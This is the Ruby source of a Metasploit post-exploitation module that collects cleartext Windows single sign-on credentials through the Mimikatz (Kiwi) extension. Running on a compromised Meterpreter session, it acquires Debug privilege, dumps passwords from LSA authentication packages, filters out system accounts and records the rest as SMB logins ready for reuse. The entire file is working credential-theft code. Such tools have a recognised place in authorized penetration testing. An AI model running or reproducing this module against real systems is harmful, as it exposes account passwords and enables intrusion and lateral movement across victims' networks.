158 lines
4.2 KiB
Ruby
158 lines
4.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'set'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)',
|
|
'Description' => %q{
|
|
This module will collect cleartext Single Sign On credentials from the Local
|
|
Security Authority using the Kiwi (Mimikatz) extension. Blank passwords will not be stored
|
|
in the database.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Ben Campbell'],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
kiwi_exec_cmd
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
if sysinfo.nil?
|
|
print_error('This module is only available in a windows meterpreter session.')
|
|
return
|
|
end
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
if (session.arch == ARCH_X86) && (sysinfo['Architecture'] == ARCH_X64)
|
|
print_error('x64 platform requires x64 meterpreter and kiwi extension')
|
|
return
|
|
end
|
|
|
|
unless client.kiwi
|
|
vprint_status('Loading kiwi extension...')
|
|
begin
|
|
client.core.use('kiwi')
|
|
rescue Errno::ENOENT
|
|
print_error('This module is only available in a windows meterpreter session.')
|
|
return
|
|
end
|
|
end
|
|
|
|
unless is_system?
|
|
vprint_warning('Not running as SYSTEM')
|
|
unless client.kiwi.get_debug_privilege
|
|
print_error('Unable to get Debug privilege')
|
|
return
|
|
end
|
|
vprint_status('Retrieved Debug privilege')
|
|
end
|
|
|
|
vprint_status('Retrieving Credentials')
|
|
res = client.kiwi.creds_all
|
|
|
|
table = Rex::Text::Table.new(
|
|
'Header' => 'Windows SSO Credentials',
|
|
'Indent' => 0,
|
|
'SortIndex' => 0,
|
|
'Columns' => ['Package', 'Domain', 'User', 'Password']
|
|
)
|
|
|
|
processed = Set.new
|
|
livessp_found = false
|
|
%i[tspkg kerberos ssp livessp].each do |package|
|
|
next unless res[package]
|
|
|
|
res[package].each do |r|
|
|
next if is_system_user?(r['Username'])
|
|
next if r['Username'] == '(null)' && r['Password'] == '(null)'
|
|
|
|
row = [r['Domain'], r['Username'], r['Password']]
|
|
id = row.join(':')
|
|
unless processed.include?(id)
|
|
table << [package.to_s] + row
|
|
report_creds(*row)
|
|
processed << id
|
|
end
|
|
livessp_found = true if package == :livessp
|
|
end
|
|
end
|
|
|
|
print_line(table.to_s)
|
|
print_error("No LiveSSP credentials found.\n") unless livessp_found
|
|
end
|
|
|
|
def report_creds(domain, user, pass)
|
|
return if (user.empty? || pass.empty?)
|
|
return if pass.include?('n.a.')
|
|
|
|
# Assemble data about the credential objects we will be creating
|
|
credential_data = {
|
|
origin_type: :session,
|
|
post_reference_name: refname,
|
|
private_data: pass,
|
|
private_type: :password,
|
|
session_id: session_db_id,
|
|
username: user,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
unless domain.blank?
|
|
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
|
credential_data[:realm_value] = domain
|
|
end
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
|
login_data = {
|
|
core: credential_core,
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
|
|
port: 445,
|
|
service_name: 'smb',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def is_system_user?(user)
|
|
system_users = [
|
|
/^$/,
|
|
/^DWM-\d$/,
|
|
/^ASPNET$/,
|
|
/^ASP\.NET V2\.0 Integrated$/,
|
|
/^ANONYMOUS LOGON$/,
|
|
/^IUSR.*/,
|
|
/^IWAM.*/,
|
|
/^IIS_WPG$/,
|
|
/.*\$$/,
|
|
/^LOCAL SERVICE$/,
|
|
/^NETWORK SERVICE$/,
|
|
/^LOCAL SYSTEM$/
|
|
]
|
|
|
|
system_users.find { |r| user.to_s.match(r) }
|
|
end
|
|
end
|